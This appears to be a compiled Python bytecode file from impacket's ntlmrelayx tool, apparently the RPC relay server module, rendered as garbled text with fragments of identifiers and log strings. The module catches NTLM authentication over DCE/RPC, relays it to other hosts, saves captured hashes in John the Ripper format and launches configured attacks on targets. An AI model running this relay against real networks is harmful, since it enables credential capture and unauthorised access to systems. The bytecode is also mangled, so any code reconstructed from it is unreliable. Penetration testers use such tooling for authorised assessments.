o j[@sddlZddlZddlTddlTddlTddlmZmZmZddl m Z m Z ddl m Z mZddlmZddlmZddlmZGd d d eZdS) N)*)NTLMSSP_AUTH_NEGOTIATENTLMSSP_AUTH_CHALLENGE_RESPONSENTLMSSP_AUTH_CHALLENGE)outputToJohnFormatwriteJohnOutputToFile)ERROR_MESSAGESSTATUS_SUCCESS)TargetsProcessor)activeConnections) get_addressc@sDeZdZGdddejejZGdddejZddZ ddZ d S) RPCRelayServerc@seZdZddZdS)zRPCRelayServer.RPCSocketServercCsF||_d|_t|d|d|jj\|_}dtj_tj|||dS)NTr) configdaemon_threadsr ipv6address_family socketserver TCPServerallow_reuse_address__init__)selfserver_addressRequestHandlerClassrr/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/rpcrelayserver.pyr$s z'RPCRelayServer.RPCSocketServer.__init__N)__name__ __module__ __qualname__rrrrrRPCSocketServer#s rc@sneZdZddZddZddZddZd d Zd d Zd dZ ddZ dddZ ddZ ddZ ddZdS)zRPCRelayServer.RPCHandlercCsFd|_d|_d|_d|_d|_d|_d|_d|_tj ||||dS)N) clienttarget auth_user transportrequest_headerrequest_pdu_datarequest_sec_trailerchallengeMessagerBaseRequestHandlerr)rrequestclient_addressserverrrrr,sz"RPCRelayServer.RPCHandler.__init__cCsxt|j|_d|ji}|jttd|d|ji}|jttd||j j j dur:t d|j dd|j j _ dSdS)N135z SMB://%s:445/r) singleTarget) DCERPCServerr)r#send_ServerAlive2Response addCallbacksbin_to_uuidtupIID_IObjectExporter handle_epmapMSRPC_UUID_PORTMAPr+rr!r r*)rIObjectExporterCallBacks IEPMCallBacksrrrsetup7s zRPCRelayServer.RPCHandler.setupcCst|}t}t}d|d<d|d<t}d|d<d|d<||d<d |d d }t}t||d <||d <d |d<|d||d|d<||d<|S)Nrstatusr num_towerscontext_handle_attributesscontext_handle_uuid entry_handle map_towertower_octet_string tower_lengthr. ReferentIDData max_towers MaximumCountITowers)ept_mapept_mapResponse twr_p_t_arrayept_lookup_handle_tjointwr_p_tlenappend)rdatar)resptow_arr req_handle resp_tower resp_tower_prrrr5Gs$  z&RPCRelayServer.RPCHandler.handle_epmapc Cst}t|jjfg}tdfg}d}|D]\}}||jddd7}||dd7}q|ddt|d7}t||d d <|D]\}} ||jddd7}|d 7}|| dd7}q@|ddt|d7}t||d d <||d d <|S)Nr?rlittle) byteorderutf8ppdsaOrBindingswSecurityOffset wNumEntries aStringArray)ServerAlive2ResponseTOWERID_DOD_TCPr!hostnameRPC_C_AUTHN_WINNTto_bytesencoderN) rr)responsestringBindingssecurityBindingsarraywTowerId aNetworkAddr wAuthnSvc aPrincNamerrrr1]s"    z3RPCRelayServer.RPCHandler.send_ServerAlive2Responsec Csz+ |j}|durtdWdS||}|r+tdt|d|j|qty3tyAt dYdSt ya}ztjdddt d|WYd}~dSd}~ww) NTz"(RPC): Connection closed by clientz (RPC): Sending packet of type %stypez(RPC): Connection reset.z(RPC): Exception:)exc_infoz+(RPC): Exception in RPC request handler: %s) r#recvLOGdebughandle_single_requestmsrpc_message_typesendKeyboardInterruptConnectionResetErrorerror Exception)rrPrgerrrhandless(      z RPCRelayServer.RPCHandler.handlecCszt||_|jd}tdt||ttfvr"t|jd|_n|t kr'n|t kr1|j |St dt||tS|jddkr_|tkrUtd|j |St d|tSt|jd |_|jd }|tkrzt d |tS|tkr|t krtd td |tks|tkr|ttt fvrtdt||S|tks|tks|tkrtd|td|)Nroz!(RPC): Received packet of type %spduDataz3(RPC): Packet type received not supported (yet): %aauth_lenrz1(RPC): Answering to a BIND without authenticationz<(RPC): Packet is no BIND and does not contain authentication sec_trailer auth_typez,(RPC): Packet contains "None" authenticationz-AUTH3 packet contains "SPNEGO" authenticationz$SPNEGO auth_type not implemented yetz,Packet type received not supported (yet): %sz Auth type %s not implemented yetz*Auth type received not supported (yet): %d) MSRPCHeaderr$rrrsru MSRPC_BINDMSRPC_ALTERCTXMSRPCRelayBindr% MSRPC_AUTH3 MSRPC_REQUESTr#processRequestry send_error(MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE+MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH SEC_TRAILERr&RPC_C_AUTHN_NONERPC_C_AUTHN_GSS_NEGOTIATErzNotImplementedErrorrdRPC_C_AUTHN_DEFAULTnegotiate_ntlm_sessionRPC_C_AUTHN_GSS_SCHANNELRPC_C_AUTHN_GSS_KERBEROSRPC_C_AUTHN_NETLOGON)rrPreq_typerrrrrtsB              z/RPCRelayServer.RPCHandler.handle_single_requestc Cs|jd}td|tdtddd}|tkrt}|||jj j j dd|_ |j durl|jj j rbt d|jj j jd d |jj j j dd|_ t d |jd|j j|j jfnt d |tSt d |jd|j j|j jfz|||jr|jdurtd ||jWSty}z*|j durt dnt d|j j|j j|jj j |j |tWYd}~Sd}~ww|tkrtd|tkrt}|||ddkrt ddSz||||j |dtj!@r$t d|d"d|d"d|jd|j j|j j|jj#fn t d|d"d|d"d|jd|j j|j j|jj#ft$|jd|d|d|d|d}||jj%d<|jj j&durrt'|d|d|jj j&|jj j |j d |j(|)|tWSty}zE|dtj!@rt d|j j|j j|d"d|d"dfnt d|j j|j j|d"d|d"df|jj j |j d}~wwtd |)!N auth_data(RPC): No target left: keepRelaying active, reloading targets.T) full_reloadz<(RPC): Received connection from %s, attacking target %s://%sz(RPC): No target leftzClient send negotiated failed.z2(RPC): Negotiating NTLM failed, and no target leftz,(RPC): Negotiating NTLM with %s://%s failed.z)Challenge Message raise, not implemented! user_namer?z&(RPC): Empty username ... just waitingflagszK(RPC): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s] domain_nameutf-16leascii challengelanmanntlm JOHN_OUTPUT hash_string hash_versionz5(RPC): Authenticating against %s://%s as %s\%s FAILEDzUnknown NTLMSSP MessageType %d)*r$structunpackrNrrNTLMAuthNegotiate fromStringr+rr! getTarget keepRelayingrrinfo reloadTargetsr*schemenetlocr%MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIEDdo_ntlm_negotiater'rzbindryregisterTargetrrNTLMAuthChallengeResponse do_ntlm_authr setClientIdNTLMSSP_NEGOTIATE_UNICODEdecode client_idr sessionData outputFilerr" do_attack)rtoken messageTypenegotiateMessager{authenticateMessagentlm_hash_datarrrrs $    $  "                       z0RPCRelayServer.RPCHandler.negotiate_ntlm_sessioncCs|jj|jjjvr[|jjj|jj|jj|j|_|js&td|j ||_ |jjj rYt |j d}|t j=||j d<t||j d<t||j d<dSdStd|jjtd|jj)NzClient connection failed.TargetInfoFieldsTargetInfoFields_lenTargetInfoFields_max_lenz((RPC): Protocol Client for %s not found!z!Protocol Client for %s not found!)r!rupperr+rprotocolClientsr initConnectionrz sendNegotiater' remove_targetrAV_PAIRSNTLMSSP_AV_HOSTNAMEgetDatarNrrry)rrav_pairsrrrrs   z+RPCRelayServer.RPCHandler.do_ntlm_negotiater?c Cst}|jd|d<|jd|d<d|d<|jstd|jD]N}t|d\}}t}|trH|dkrHt|d<t t B|d <d |d<n$|dt j kr\t |d<d |d <d |d<nt|d<|d|d<|d |j_||q#d|d<t}|jdtkrt|d<n|jdtkrt|d<n td|jd||d<|jd|d<|jd|d<|dkrt}|jd|d<|jd|d<|jd|d<dt|dd} | dkr|dd| 7<| |d<||d<||d<t||d<|S) N max_tfrag max_rfragixV4 assoc_groupzBind request with no CTX Item.TransferSyntaxz1.0ResultReasonzr[)z$00000000-0000-0000-0000-000000000000gAbstractSyntax9999 SecondaryAddrroz(Message type %d is not supported in bindr}call_idrr?r auth_level auth_ctx_idrrr^ auth_pad_lenrrr~)MSRPCRelayBindAckr% getCtxItemsrzr3 CtxItemResult startswith*MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIXMSRPC_CONT_RESULT_NEGOTIATE_ACKSMSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASKOMSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASKDCERPC NDR64SyntaxMSRPC_CONT_RESULT_PROV_REJECTMSRPC_CONT_RESULT_ACCEPTr# _boundUUID addCtxItemrr$r MSRPC_BINDACKrMSRPC_ALTERCTX_Rrrr&rN get_packet) rr'bindAck requestItemsyntaxversionitempacket secTrailerpadrrrr/sX           zRPCRelayServer.RPCHandler.bindcCsHt|j}|jd}|tkrt|d<nt|d<|r"td||d<|S)Nrorr})MSRPCRespHeaderr$rr MSRPC_BINDNAK MSRPC_FAULTpack)rr:r request_typerrrrms  z$RPCRelayServer.RPCHandler.send_errorcCs|dtj@rd|dd|ddf|_nd|dd|ddf|_|j||jd\}}|tkrT|t vrNt d|t |ft d |dS) Nrz%s/%srrrrrz1NTLM authentication failure, got errorCode %s: %sz5NTLM authentication failure, got unknown errorCode %s) rrrrr"r sendAuthr'r rkeysrz)rrrclientResponse errorCoderrrrxs"    z&RPCRelayServer.RPCHandler.do_ntlm_authcCs|jjjr*|jj|jjjjvr*t |jj |j j |jj|j |j |j jfdS|jj|jjjvrS|jjj|jj|jj|j j|j |j|j }|dStd|jjdS)Nz"(RPC): No attack configured for %s)r+rrunSocksr!rr socksServersupportedSchemesr putrcr targetPortr"rattackssessionstartrrry)r clientThreadrrrrs" z#RPCRelayServer.RPCHandler.do_attackN)r?)rrrrr9r5r1r|rtrrrrrrrrrr RPCHandler+s 2_ > rcCs t|d|_||_d|_dS)NT)Threadrdaemonrr+)rrrrrrs  zRPCRelayServer.__init__cCsltd|jj||jj|jjf|j|j|_z|jWn t y)Ynwtd|j dS)Nz Setting up RPC Server on port %dzShutting down RPC Server) rrrr listeningPortr interfaceIprr+ serve_foreverrw server_close)rrrrruns  zRPCRelayServer.runN) rrrrThreadingMixInrrr(rrr rrrrr "sv r )rrimpacket.dcerpc.v5.epmimpacket.dcerpc.v5.rpcrtimpacket.dcerpc.v5.dcomrt impacket.ntlmrrrimpacket.smbserverrrimpacket.nt_errorsrr /impacket.examples.ntlmrelayx.utils.targetsutilsr 0impacket.examples.ntlmrelayx.servers.socksserverr impacket.examples.utilsr rr rrrrs